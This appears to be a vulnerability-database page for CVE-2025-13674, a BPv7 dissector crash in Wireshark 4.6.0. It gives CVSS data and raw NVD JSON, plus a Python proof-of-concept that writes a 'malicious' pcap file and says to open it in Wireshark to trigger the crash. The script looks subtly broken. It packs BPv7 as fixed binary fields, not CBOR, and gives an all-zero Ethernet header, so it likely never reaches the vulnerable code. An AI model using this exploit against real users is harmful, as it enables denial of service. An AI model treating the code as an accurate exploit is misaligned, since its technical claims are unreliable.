Security Vulnerability Report
中文
CVE-2025-13674 CVSS 5.5 MEDIUM

CVE-2025-13674

Published: 2025-11-26 12:15:46
Last Modified: 2025-12-03 19:37:17

Description

BPv7 dissector crash in Wireshark 4.6.0 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:4.6.0:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13674 PoC - Wireshark BPv7 dissector crash This PoC generates a malicious pcap file that triggers BPv7 dissector crash """ import struct import sys def create_malicious_pcap(): """ Create a pcap file with malformed BPv7 packets BPv7 (Bundle Protocol v7) uses bundle layer protocol """ # PCAP Global Header pcap_header = struct.pack('<IHHiIII', 0xa1b2c3d4, # Magic number 2, # Version major 4, # Version minor 0, # Timezone 0, # Sigfigs 65535, # Snaplen 1 # Link type (Ethernet) ) # Malformed BPv7 bundle packet # BPv7 bundle header structure with intentional malformed fields bpv7_payload = bytearray() # Bundle Protocol Primary Block bpv7_payload += struct.pack('>B', 0x01) # Block type: Primary bpv7_payload += struct.pack('>B', 0x00) # Block number bpv7_payload += struct.pack('>I', 0xFFFFFFFF) # Block length (malformed) # Version field (malformed to trigger crash) bpv7_payload += struct.pack('>B', 0x07) # Version 7 # Add corrupted data to trigger dissector error bpv7_payload += b'\x00' * 64 # Padding with zeros bpv7_payload += b'\xFF' * 32 # Corrupted data # Add more malformed fields bpv7_payload += struct.pack('>I', 0xDEADBEEF) # Malformed CRC bpv7_payload += b'Corrupted BPv7 data' * 10 # Ethernet header eth_header = b'\x00' * 14 # IP header (IPv4) ip_header = struct.pack('>BBHHHBBH4s4s', 0x45, # Version and IHL 0x00, # TOS 20 + len(bpv7_payload), # Total length 0x0000, # ID 0x0000, # Flags and Fragment 0x40, # TTL 0x11, # Protocol (UDP) 0x0000, # Checksum b'\x0A\x00\x00\x01', # Source IP b'\x0A\x00\x00\x02' # Dest IP ) # UDP header udp_header = struct.pack('>HHHH', 1234, # Source port 4556, # Dest port 8 + len(bpv7_payload), # Length 0x0000 # Checksum ) # Complete packet packet = eth_header + ip_header + udp_header + bytes(bpv7_payload) # PCAP Packet Header packet_header = struct.pack('<IIII', 0, # Timestamp seconds 0, # Timestamp microseconds len(packet), # Captured length len(packet) # Original length ) return pcap_header + packet_header + packet def main(): output_file = 'CVE-2025-13674.pcap' print(f'[*] Generating PoC for CVE-2025-13674') print(f'[*] Target: Wireshark 4.6.0 BPv7 dissector') print(f'[*] Creating malicious pcap file: {output_file}') pcap_data = create_malicious_pcap() with open(output_file, 'wb') as f: f.write(pcap_data) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(pcap_data)} bytes') print(f'[!] Usage: Open this file with Wireshark 4.6.0 to trigger crash') return 0 if __name__ == '__main__': sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13674", "sourceIdentifier": "[email protected]", "published": "2025-11-26T12:15:46.143", "lastModified": "2025-12-03T19:37:17.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BPv7 dissector crash in Wireshark 4.6.0 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:4.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "EC49CB33-4C79-4664-AC90-7CA539476EE7"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/20770", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2025-05.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}